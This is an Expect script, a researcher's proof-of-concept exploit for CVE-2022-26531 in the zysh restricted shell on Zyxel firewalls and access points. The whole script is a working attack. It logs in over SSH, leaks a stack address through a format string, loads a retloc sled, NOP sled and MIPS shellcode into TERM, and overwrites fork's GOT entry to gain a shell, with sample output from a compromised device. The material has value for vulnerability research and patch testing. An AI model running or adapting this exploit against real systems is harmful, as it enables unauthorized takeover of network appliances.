#!/usr/bin/expect -f## raptor_zysh_fhtagn.exp - zysh format string PoC exploit# Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>## "We live on a placid island of ignorance in the midst of black seas of# infinity, and it was not meant that we should voyage far."#-- H. P. Lovecraft, The Call of Cthulhu## "Multiple improper input validation flaws were identified in some CLI# commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,# USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware# versions 4.32 through 5.21, VPN series firmware versions 4.30 through# 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500# firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware# version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version# 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)# and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and# earlier versions, that could allow a local authenticated attacker to# cause a buffer overflow or a system crash via a crafted payload."#-- CVE-2022-26531## The zysh binary is a restricted shell that implements the command-line# interface (CLI) on multiple Zyxel products. This proof-of-concept exploit# demonstrates how to leverage the format string bugs I have identified in# the "extension" argument of some zysh commands, to execute arbitrary code# and escape the restricted shell environment.## - This exploit targets the "ping" zysh command.# - It overwrites the .got entry of fork() with the shellcode address.# - The shellcode address is calculated based on a leaked stack address.# - Hardcoded offsets and values might need some tweaking, see comments.# - Automation/weaponization for other targets is left as an exercise.## For additional details on my bug hunting journey and on the# vulnerabilities themselves, you can refer to the official advisory:# https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt## Usage:# raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password# raptor_zysh_fhtagn.exp - zysh format string PoC exploit# Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info># # Leaked stack address:0x7fe97170# Shellcode address: 0x7fe9de40# Base string length:46# Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn# # *** enjoy your shell! ***# # sh-5.1$ uname -snrmp# Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0# sh-5.1$ id# uid=10007(admin) gid=10000(operator) groups=10000(operator)## Tested on:# Zyxel USG20-VPN with Firmware 5.10 # [other appliances/versions are also likely vulnerable]## change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8
encoding system iso8859-1# hostile format string to leak stack address via direct parameter accessset offset1 77set leak [format"AAAA.0x%%%d\$x" $offset1]# offsets to reach addresses in retloc sled via direct parameter accessset offset2 1801set offset3 [expr $offset2 +1]# difference between leaked stack address and shellcode addressset diff 27856# retloc sled# $ mips64-linux-readelf -a zysh | grep JUMP | grep fork# 112dd5580000967f R_MIPS_JUMP_SLOT00000000 fork@GLIBC_2.0# ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a"1024]# nop sled# nop-equivalent instruction: xor $t0, $t0, $t0set nops [string repeat "\x01\x8c\x60\x26"64]# shellcode# https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.cset sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c"# padding to align payload in memory (might need adjusting)set padding "AAA"# print header
send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n"
send_user "Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>\n\n"# check command lineif{[llength $argv]!=3}{
send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n"
exit 1}# get SSH connection parametersset port "22"set host [lindex $argv 0]set user [lindex $argv 1]setpass[lindex $argv 2]# inject payload via the TERM environment variableset env(TERM) $retloc$nops$sc$padding
# connect to target via SSH
log_user 0
spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user
expect {-nocase "password*"{
send "$pass\r"}
default {
send_error "error: could not connect to ssh\n"
exit 1}}# leak stack address
expect {"Router? $"{
send "ping 127.0.0.1 extension $leak\r"}
default {
send_error "error: could not access zysh prompt\n"
exit 1}}
expect {-re "ping: unknown host AAAA\.(0x.*)\r\n"{}
default {
send_error "error: could not leak stack address\n"
exit 1}}set leaked $expect_out(1,string)
send_user "Leaked stack address:\t$leaked\n"# calculate shellcode addressset retval [expr $leaked + $diff]set retval [format 0x%x $retval]
send_user "Shellcode address:\t$retval\n"# extract each byte of shellcode addressset b1 [expr ($retval &0xff000000)>>24]set b2 [expr ($retval &0x00ff0000)>>16]set b3 [expr ($retval &0x0000ff00)>>8]set b4 [expr ($retval &0x000000ff)]set b1 [format 0x%x $b1]set b2 [format 0x%x $b2]set b3 [format 0x%x $b3]set b4 [format 0x%x $b4]# calculate numeric arguments for the hostile format stringset base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3"]
send_user "Base string length:\t$base\n"set n1 [expr ($b4 - $base)%0x100]set n2 [expr ($b2 - $b4)%0x100]set n3 [expr ($b1 - $b2)%0x100]set n4 [expr ($b3 - $b1)%0x100]# check for dangerous numeric arguments below 10if{$n1 <10}{ incr n1 0x100}if{$n2 <10}{ incr n2 0x100}if{$n3 <10}{ incr n3 0x100}if{$n4 <10}{ incr n4 0x100}# craft the hostile format stringset exploit [format"%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4]
send_user "Hostile format string:\t$exploit\n\n"# uncomment to debug# interact +# exploit targetset prompt "(#|\\\$) $"
expect {"Router? $"{
send "ping 127.0.0.1 extension $exploit\r"}
default {
send_error "error: could not access zysh prompt\n"
exit 1}}
expect {"Router? $"{
send_error "error: could not exploit target\n"
exit 1}-re $prompt {
send_user "*** enjoy your shell! ***\n"
send "\r"
interact
}
default {
send_error "error: could not exploit target\n"
exit 1}}